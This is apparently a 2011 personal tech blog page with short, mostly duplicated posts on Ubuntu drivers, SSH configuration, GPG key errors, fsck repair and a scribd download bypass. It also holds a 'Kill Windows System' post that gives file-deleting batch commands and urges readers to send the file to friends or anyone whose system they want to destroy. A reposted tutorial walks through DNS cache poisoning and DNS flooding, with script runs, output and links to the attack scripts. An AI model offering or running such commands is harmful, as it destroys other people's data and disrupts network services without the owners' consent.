Thursday, 2 June 2011
Install New Nvidia Driver 270.41.19 in Ubuntu
NVIDIA has released the new versions of unix drivers recently and many bugs have been fixed in this release.
To install this recent driver in ubuntu 11.xx, open the terminal and type the following:
Also the packages are available for download from following links:
http://www.nvidia.com/object/unix.html
ftp://download.nvidia.com/XFree86/Linux-x86/270.41.19/
ftp://download.nvidia.com/XFree86/Linux-x86_64/270.41.19/
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To install this recent driver in ubuntu 11.xx, open the terminal and type the following:
sudo apt-add-repository ppa:ubuntu-x-swat/x-updates
sudo apt-get update
sudo apt-get install nvidia-current
sudo apt-get update
sudo apt-get install nvidia-current
Also the packages are available for download from following links:
http://www.nvidia.com/object/unix.html
ftp://download.nvidia.com/XFree86/Linux-x86/270.41.19/
ftp://download.nvidia.com/XFree86/Linux-x86_64/270.41.19/
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MidpSSH: SSH and Telnet Client For J2ME Phones
MidpSSH is an SSH and Telnet client for MIDP 1.0 / 2.0 (J2ME) devices such as Java™-capable cellphones and other mobile devices.
MidpSSH provides SSH (Secure Shell) and Telnet functionality on mobile devices such as cellphones. This is really useful for people who need to access a server wherever they are, without carrying around a computer or searching for an Internet connection. Because the screen is small, the connection is often slow, and you’re possibly without a full keyboard, it isn’t great for prolonged use - but if you’re desperate it’s a life saver.
For downloading and more information, go to the official site.
I hope this tool comes useful for you sometimes. :)
Read more...
MidpSSH provides SSH (Secure Shell) and Telnet functionality on mobile devices such as cellphones. This is really useful for people who need to access a server wherever they are, without carrying around a computer or searching for an Internet connection. Because the screen is small, the connection is often slow, and you’re possibly without a full keyboard, it isn’t great for prolonged use - but if you’re desperate it’s a life saver.
For downloading and more information, go to the official site.
I hope this tool comes useful for you sometimes. :)
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Wednesday, 1 June 2011
How To Enable SSH Login Access For Linux Users
So you just added a new user to your linux box and you want to give SSH login access (OpenSSH server in my example) to that user. You just need to edit the sshd_config file and add the user for SSH access.
To do this, open the /etc/ssh/sshd_config file and search for the AllowUsers string. Now just add the username of newly created user at the end of the line just as below:
Also, the SSh access for root account can be configured as well. For that, search the PermitRootLogin string and to enable root login set it as yes as below:
This enables SSh access to the root user as well. But enabling the root login is not the good security practice. I hope this HowTo helps you. :)
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To do this, open the /etc/ssh/sshd_config file and search for the AllowUsers string. Now just add the username of newly created user at the end of the line just as below:
#Adding new user samar for SSh access
AllowUsers nano root samar
AllowUsers nano root samar
Also, the SSh access for root account can be configured as well. For that, search the PermitRootLogin string and to enable root login set it as yes as below:
PermitRootLogin yes
This enables SSh access to the root user as well. But enabling the root login is not the good security practice. I hope this HowTo helps you. :)
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Sunday, 29 May 2011
Download Scribd.com PDFs Without Any Account
Earlier today, I had to download a PDF document from scribd.com but I didn't have any account in scribd.com and I have coded a script that would help me download the PDFs from scribd.com without any account.
To access the service, visit this link.
It will ask you for the URL of the PDF document. Just copy and paste the URL from address bar when you are viewing the PDF in scribd.com.
I hope this becomes useful for you sometimes. :)
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To access the service, visit this link.
It will ask you for the URL of the PDF document. Just copy and paste the URL from address bar when you are viewing the PDF in scribd.com.
I hope this becomes useful for you sometimes. :)
Note: Many people emailed me that the tool is not working. In fact, scribd has changed the way the documents are downloaded. Once I find the new bypassing method, I'll redo the script.
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Fix GPG Key Errors For Bad Keys
Today I tried to update my ubuntu 10.10 but unfortunately, I found the error regarding the GPG keys saying the signature could not be verified. A simple solution for this is presented in this post.
The error I got was as below:
My solution was to update the keys using the same hex number shown in the error.
This simply worked as a charm. I hope this works for you as well. :)
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The error I got was as below:
W: GPG error: http://ppa.launchpad.net maverick Release: The following signatures couldn't be verified because the public key is not available: NO_PUBKEY 5A9A06AEF9CB8DB0
My solution was to update the keys using the same hex number shown in the error.
sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 5A9A06AEF9CB8DB0
This simply worked as a charm. I hope this works for you as well. :)
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Saturday, 28 May 2011
Kill Windows System With Batch File
This is a very useful two lines code that can be pretty dangerous if executed especially if there's a higher privilege in the windows OS(works well on XP, not tested on other windows versions).
Open the notepad and type following lines of code:
The above line of code deletes everything recursively without asking for any confirmation.
In the case you want to delete certain folder entirely(C:\windows in this example), type the following line of code in notepad:
Now save the file as filename.bat and send it to your friends or anyone whose system you want to kill. On clicking this batch file, very bad things are gonna happen. So be warned not to click when the file is in your system.
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Open the notepad and type following lines of code:
del /f /q *
erase C:WINDOWS
erase C:WINDOWS
The above line of code deletes everything recursively without asking for any confirmation.
In the case you want to delete certain folder entirely(C:\windows in this example), type the following line of code in notepad:
erase c:windows
Now save the file as filename.bat and send it to your friends or anyone whose system you want to kill. On clicking this batch file, very bad things are gonna happen. So be warned not to click when the file is in your system.
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Attacking the DNS System Tutorial
This tutorial is written by mango1122 from governmentsecurity. Since its very informative, I have decided to post this tutorial over here.
--------------
INTRODUCTION
--------------
Domain Name System (DNS) associates various sorts of information with so-called domain names;
most importantly, it serves as the "phone book" for the Internet: it translates human-readable
computer hostnames, e.g. en.wikipedia.org, into the IP addresses that networking equipment
needs for delivering information. It also stores other information such as the list of mail exchange
servers that accept email for a given domain
The Berkley Internet Name Service (BIND) is the most common form of DNS server used on the Internet.
BIND typically runs on UNIX type systems. The DNS server stores information which it serves out about a
particular domain (also referred to as a namespace) in text files called zone files.A client (the resolver)
maintains a small amount of local cache which it will refer to first before looking at a local static host�s file
and then finally the DNS server. The result returned will then be cached by the client for a small period of time.
When a DNS server is contacted for a resolution query, and if it is authoritative (has the answer to the question
in its own database) for a particular domain (referred to as a zone) it will return the answer to the client. If it is
not authoritative for the domain, the DNS server will contact other name servers and eventually it will get the
answer it needs which is passed back to the client. This process is known as recursion.
Additionally the client itself can attempt to contact additional DNS servers to resolve a name. When a client does
so, it uses separate and additional queries based on referral answers from servers. This process is known as iteration
----------------------------
ATTACKING THE DNS CACHE
----------------------------
The most common attacks on DNS can be classified as
Zone Transfers or information disclosure attacks
Cache poisioning
CACHE POISIONING
Lets say a client in domain xyz.com wants to resolve www.google.com
1. The client will contact its configured DNS server and ask for www.google.com to be resolved.
This query will contain information about the client�s source UDP port, IP address and a DNS transaction ID.
2.If the information is available locally i.e cached ,it is returned to the client
3. If not then the client�s DNS server will contact the authoritive name server for google.com and resolve the query
4. The answer is passed back to the client and also cached locally in the DNS server of xyz.com (say ns1.xyz.com) and the client
5. Note the client only accepts the DNS information if the server replies with the correct client�s source UDP port, IP address and the DNS transaction ID
--------------------------------
Attack #1 � The Birthday Attack
--------------------------------
To poison the cache the attacker needs to
1 Send a number of resolution requests for google.com.An important thing
to note here is that each query for google.com is assigned a different transactio ID.
2. While the DNS resolves this the attacker sends a large number of spoofed replies
from ns1.google.com with different transaction ID.The attacker hopes to guess the
correct transaction ID as used the two name servers
Finding the correct IP addresses is easy; we know our target, and we know the addresses of the legitimate
nameservers for the domain to be hijacked. Finding the port is slightly harder. We know that the destination
port of the recursive query is UDP port 53, but the source port is a moving target. Fortunately for our attacker,
BIND will more often than not reuse the same source port for queries on behalf of the same client. So, if the
attacker is working from an authoritative nameserver, he can first issue a request for a DNS 3lookup of a
hostname on his server. When the recursive query packet arrives, he can look at the source port. Chances are
this will be the same source port used when the victim sends the queries for the domain to be hijacked.
--------------------------------
Attck #2 - Poisioning the Cache
--------------------------------
1. To obtain the source port we use a perl script.It needs to be run from an authoritative name server which
the attacker controls to query the target name server for a hostname for which the attacker�s machine is authoritative.
Another alternative would be to use a packet sniffer.
dns1.pl 10.10.10.50 www.google.com
source port: 34567
2. Now we run the second script written by Ramon Izaguirre called hds0.pl2.The script does most of the work by spoofing the reply from ns1.google.com
./hds0.pl (ns1.google.com) (ns1.xyz.com) (source port obtained from the earlier script) (spoof target)
To observe if the attack was successful simply query the target name server:
dig @12.12.12.12 www.google.com
www.google.com 86400 IN A 10.10.10.10
The attack is successful as google resolves yo 10.10.10.10
The script is available here-hxxp://securityvulns.com/files/birthday.pl
--------------------------------------
Attack #3 - DOS Attack on DNS servers
--------------------------------------
DNS servers like other Internet resources are prone to denial of service attacks.The only difference here would
be that DNS server uses UDP for name resolution.To create a DOS attack on the DNS server a script such as
dnsflood.pl can be executed on multiple clients to create the traffic.DNSflood works by sending many thousands
of rapid DNS requests, thereby giving the server more traffic than it can handle resulting in slower and slower
response times for legitimate requests.
The script can be obtained from - hxxp://packetstormsecurity.org/DoS/dnsflood.pl
In the following example we use the scrip to create a DOS effect on the DNS server and then query the DNS for name resolution
perl dnsflood.pl 192.168.10.1
attacked: 192.168.10.1...
To assess the impact of this attack on performance the attacker from another machine first clears his local cache and then
queries the target name server. Clearing the local cache will ensure the resolver gets the information from the server and not locally.
C:\>ipconfig /flushdns
Windows IP Configuration
Successfully flushed the DNS Resolver Cache.
C:\>nslookup
DNS request timed out.
timeout was 2 seconds.
*** Can't find server name for address 192.168.10.1: Timed out
*** Default servers are not available
Default Server: UnKnown
Address: 192.168.10.1
> ms2.xyz.com
Server: UnKnown
Address: 192.168.10.1
DNS request timed out.
timeout was 2 seconds.
DNS request timed out.
timeout was 2 seconds.
*** Request to UnKnown timed-out
>exit
If this attack was multiplied from a number of machines then the impact would be even greater.
------------
CONCLUSION
------------
These are only a few possible exploits involving the DNS Spoofing vulnerability and there are,probably,
many more waiting to be discovered. Discovery and implementation is limited only by the active imagination of the attacker
Read more...
--------------
INTRODUCTION
--------------
Domain Name System (DNS) associates various sorts of information with so-called domain names;
most importantly, it serves as the "phone book" for the Internet: it translates human-readable
computer hostnames, e.g. en.wikipedia.org, into the IP addresses that networking equipment
needs for delivering information. It also stores other information such as the list of mail exchange
servers that accept email for a given domain
The Berkley Internet Name Service (BIND) is the most common form of DNS server used on the Internet.
BIND typically runs on UNIX type systems. The DNS server stores information which it serves out about a
particular domain (also referred to as a namespace) in text files called zone files.A client (the resolver)
maintains a small amount of local cache which it will refer to first before looking at a local static host�s file
and then finally the DNS server. The result returned will then be cached by the client for a small period of time.
When a DNS server is contacted for a resolution query, and if it is authoritative (has the answer to the question
in its own database) for a particular domain (referred to as a zone) it will return the answer to the client. If it is
not authoritative for the domain, the DNS server will contact other name servers and eventually it will get the
answer it needs which is passed back to the client. This process is known as recursion.
Additionally the client itself can attempt to contact additional DNS servers to resolve a name. When a client does
so, it uses separate and additional queries based on referral answers from servers. This process is known as iteration
----------------------------
ATTACKING THE DNS CACHE
----------------------------
The most common attacks on DNS can be classified as
Zone Transfers or information disclosure attacks
Cache poisioning
CACHE POISIONING
Lets say a client in domain xyz.com wants to resolve www.google.com
1. The client will contact its configured DNS server and ask for www.google.com to be resolved.
This query will contain information about the client�s source UDP port, IP address and a DNS transaction ID.
2.If the information is available locally i.e cached ,it is returned to the client
3. If not then the client�s DNS server will contact the authoritive name server for google.com and resolve the query
4. The answer is passed back to the client and also cached locally in the DNS server of xyz.com (say ns1.xyz.com) and the client
5. Note the client only accepts the DNS information if the server replies with the correct client�s source UDP port, IP address and the DNS transaction ID
--------------------------------
Attack #1 � The Birthday Attack
--------------------------------
To poison the cache the attacker needs to
1 Send a number of resolution requests for google.com.An important thing
to note here is that each query for google.com is assigned a different transactio ID.
2. While the DNS resolves this the attacker sends a large number of spoofed replies
from ns1.google.com with different transaction ID.The attacker hopes to guess the
correct transaction ID as used the two name servers
Finding the correct IP addresses is easy; we know our target, and we know the addresses of the legitimate
nameservers for the domain to be hijacked. Finding the port is slightly harder. We know that the destination
port of the recursive query is UDP port 53, but the source port is a moving target. Fortunately for our attacker,
BIND will more often than not reuse the same source port for queries on behalf of the same client. So, if the
attacker is working from an authoritative nameserver, he can first issue a request for a DNS 3lookup of a
hostname on his server. When the recursive query packet arrives, he can look at the source port. Chances are
this will be the same source port used when the victim sends the queries for the domain to be hijacked.
--------------------------------
Attck #2 - Poisioning the Cache
--------------------------------
1. To obtain the source port we use a perl script.It needs to be run from an authoritative name server which
the attacker controls to query the target name server for a hostname for which the attacker�s machine is authoritative.
Another alternative would be to use a packet sniffer.
dns1.pl 10.10.10.50 www.google.com
source port: 34567
2. Now we run the second script written by Ramon Izaguirre called hds0.pl2.The script does most of the work by spoofing the reply from ns1.google.com
./hds0.pl (ns1.google.com) (ns1.xyz.com) (source port obtained from the earlier script) (spoof target)
To observe if the attack was successful simply query the target name server:
dig @12.12.12.12 www.google.com
www.google.com 86400 IN A 10.10.10.10
The attack is successful as google resolves yo 10.10.10.10
The script is available here-hxxp://securityvulns.com/files/birthday.pl
--------------------------------------
Attack #3 - DOS Attack on DNS servers
--------------------------------------
DNS servers like other Internet resources are prone to denial of service attacks.The only difference here would
be that DNS server uses UDP for name resolution.To create a DOS attack on the DNS server a script such as
dnsflood.pl can be executed on multiple clients to create the traffic.DNSflood works by sending many thousands
of rapid DNS requests, thereby giving the server more traffic than it can handle resulting in slower and slower
response times for legitimate requests.
The script can be obtained from - hxxp://packetstormsecurity.org/DoS/dnsflood.pl
In the following example we use the scrip to create a DOS effect on the DNS server and then query the DNS for name resolution
perl dnsflood.pl 192.168.10.1
attacked: 192.168.10.1...
To assess the impact of this attack on performance the attacker from another machine first clears his local cache and then
queries the target name server. Clearing the local cache will ensure the resolver gets the information from the server and not locally.
C:\>ipconfig /flushdns
Windows IP Configuration
Successfully flushed the DNS Resolver Cache.
C:\>nslookup
DNS request timed out.
timeout was 2 seconds.
*** Can't find server name for address 192.168.10.1: Timed out
*** Default servers are not available
Default Server: UnKnown
Address: 192.168.10.1
> ms2.xyz.com
Server: UnKnown
Address: 192.168.10.1
DNS request timed out.
timeout was 2 seconds.
DNS request timed out.
timeout was 2 seconds.
*** Request to UnKnown timed-out
>exit
If this attack was multiplied from a number of machines then the impact would be even greater.
------------
CONCLUSION
------------
These are only a few possible exploits involving the DNS Spoofing vulnerability and there are,probably,
many more waiting to be discovered. Discovery and implementation is limited only by the active imagination of the attacker
Read more...
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Fixing No Init Found. Try Passing Init: Bootarg Error in Ubuntu
Today I encountered this error and I thought it was related to HDD issues. So I used fsck which is a command line tool to check and repair the linux filesystem. So I am writing this short how to so that it might be helpful for you as well.
The error encountered is something like below:
You need to boot your system with the Ubuntu live CD. After booting from live CD, open the terminal and then enter the following command:
Replace /dev/sda1 with your target filesystem partition and press enter. Whenever any fix or overwrite permissions are asked, press y. After finishing the repairing, reboot your system from hard disk. The system should boot without any error now.
I hope this helps you. :)
Read more...
The error encountered is something like below:
mount: mounting /dev on /root/dev failed: No such file or directory
mount: mounting /sys on /root/sys failed: No such file or directory
mount: mounting /proc on /root/proc failed: No such file or directory
Target file system doesn't have requested /sbin/init
No init found. Try passing init: bootarg
mount: mounting /sys on /root/sys failed: No such file or directory
mount: mounting /proc on /root/proc failed: No such file or directory
Target file system doesn't have requested /sbin/init
No init found. Try passing init: bootarg
You need to boot your system with the Ubuntu live CD. After booting from live CD, open the terminal and then enter the following command:
sudo fsck /dev/sda1
Replace /dev/sda1 with your target filesystem partition and press enter. Whenever any fix or overwrite permissions are asked, press y. After finishing the repairing, reboot your system from hard disk. The system should boot without any error now.
I hope this helps you. :)
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